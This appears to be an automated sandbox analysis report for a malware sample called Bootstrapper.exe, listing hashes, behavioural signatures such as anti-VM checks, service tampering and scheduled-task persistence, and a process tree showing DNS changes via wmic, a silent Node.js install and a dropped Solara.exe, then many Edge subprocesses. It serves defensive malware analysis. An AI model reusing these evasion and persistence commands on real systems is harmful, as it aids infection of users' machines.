Analysis

  • max time kernel
    1798s
  • max time network
    1751s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/11/2024, 20:31

General

  • Target

    Bootstrapper.exe

  • Size

    800KB

  • MD5

    02c70d9d6696950c198db93b7f6a835e

  • SHA1

    30231a467a49cc37768eea0f55f4bea1cbfb48e2

  • SHA256

    8f2e28588f2303bd8d7a9b0c3ff6a9cb16fa93f8ddc9c5e0666a8c12d6880ee3

  • SHA512

    431d9b9918553bff4f4a5bc2a5e7b7015f8ad0e2d390bb4d5264d08983372424156524ef5587b24b67d1226856fc630aaca08edc8113097e0094501b4f08efeb

  • SSDEEP

    12288:qhd8cjaLXVh84wEFkW1mocaBj6WtiRPpptHxQ0z:2ycjar84w5W4ocaBj6y2tHDz

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • A potential corporate email address has been identified in the URL: [email protected]
  • A potential corporate email address has been identified in the URL: [email protected]
  • A potential corporate email address has been identified in the URL: [email protected]
  • A potential corporate email address has been identified in the URL: [email protected]
  • A potential corporate email address has been identified in the URL: [email protected]
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 15 IoCs
  • Loads dropped DLL 15 IoCs
  • Unexpected DNS network traffic destination 14 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Blocklisted process makes network request 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 12 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 10 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 22 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 4 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 12 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
    "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c ipconfig /all
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1748
      • C:\Windows\system32\ipconfig.exe
        ipconfig /all
        3⤵
        • Gathers network information
        PID:4164
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c wmic nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("1.1.1.1", "1.0.0.1")
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3628
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("1.1.1.1", "1.0.0.1")
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4388
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi" /qn
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2440
    • C:\ProgramData\Solara\Solara.exe
      "C:\ProgramData\Solara\Solara.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1320
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding E82AA110B1754EB692FD00CFAD641565
      2⤵
      • Loads dropped DLL
      PID:4068
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A0CAAC1543D34F30659DB27AEE42D8DE
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2272
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 52825EEDD61B01F00290ECDA2FBE6FBD E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2236
      • C:\Windows\SysWOW64\wevtutil.exe
        "wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4060
        • C:\Windows\System32\wevtutil.exe
          "wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man" /fromwow64
          4⤵
            PID:1360
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
      1⤵
      • Enumerates system info in registry
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4944
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffe764246f8,0x7ffe76424708,0x7ffe76424718
        2⤵
          PID:4912
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2012 /prefetch:2
          2⤵
            PID:3000
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2288
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
            2⤵
              PID:3348
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1
              2⤵
                PID:3272
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1
                2⤵
                  PID:1920
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5016 /prefetch:1
                  2⤵
                    PID:4956
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5176 /prefetch:1
                    2⤵
                      PID:5040
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 /prefetch:8
                      2⤵
                        PID:1988
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4380
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:1
                        2⤵
                          PID:3104
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3536 /prefetch:1
                          2⤵
                            PID:1404
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5684 /prefetch:1
                            2⤵
                              PID:3176
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5904 /prefetch:1
                              2⤵
                                PID:2480
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:1
                                2⤵
                                  PID:5108
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
                                  2⤵
                                    PID:1676
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4164 /prefetch:1
                                    2⤵
                                      PID:3940
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3748 /prefetch:1
                                      2⤵
                                        PID:4704
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
                                        2⤵
                                          PID:2980
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5796 /prefetch:1
                                          2⤵
                                            PID:1428
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2144 /prefetch:1
                                            2⤵
                                              PID:2176
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2148 /prefetch:1
                                              2⤵
                                                PID:1872
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
                                                2⤵
                                                  PID:1636
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6748 /prefetch:8
                                                  2⤵
                                                    PID:1068
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6764 /prefetch:1
                                                    2⤵
                                                      PID:4812
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6352 /prefetch:1
                                                      2⤵
                                                        PID:224
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6372 /prefetch:1
                                                        2⤵
                                                          PID:2952
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7008 /prefetch:8
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:872
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4028 /prefetch:2
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:4708
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2152 /prefetch:1
                                                          2⤵
                                                            PID:1104
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6944 /prefetch:1
                                                            2⤵
                                                              PID:3636
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4976 /prefetch:1
                                                              2⤵
                                                                PID:4764
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2140 /prefetch:8
                                                                2⤵
                                                                  PID:1800
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5548 /prefetch:1
                                                                  2⤵
                                                                    PID:2792
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6828 /prefetch:1
                                                                    2⤵
                                                                      PID:4412
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6044 /prefetch:1
                                                                      2⤵
                                                                        PID:3448
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
                                                                        2⤵
                                                                          PID:1104
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6492 /prefetch:8
                                                                          2⤵
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:1344
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6880 /prefetch:1
                                                                          2⤵
                                                                            PID:4932
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2740 /prefetch:1
                                                                            2⤵
                                                                              PID:4248
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:1
                                                                              2⤵
                                                                                PID:4228
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3148 /prefetch:1
                                                                                2⤵
                                                                                  PID:4476
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7292 /prefetch:1
                                                                                  2⤵
                                                                                    PID:224
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6980 /prefetch:1
                                                                                    2⤵
                                                                                      PID:2684
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=7448 /prefetch:8
                                                                                      2⤵
                                                                                      • Modifies registry class
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      PID:4384
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7472 /prefetch:1
                                                                                      2⤵
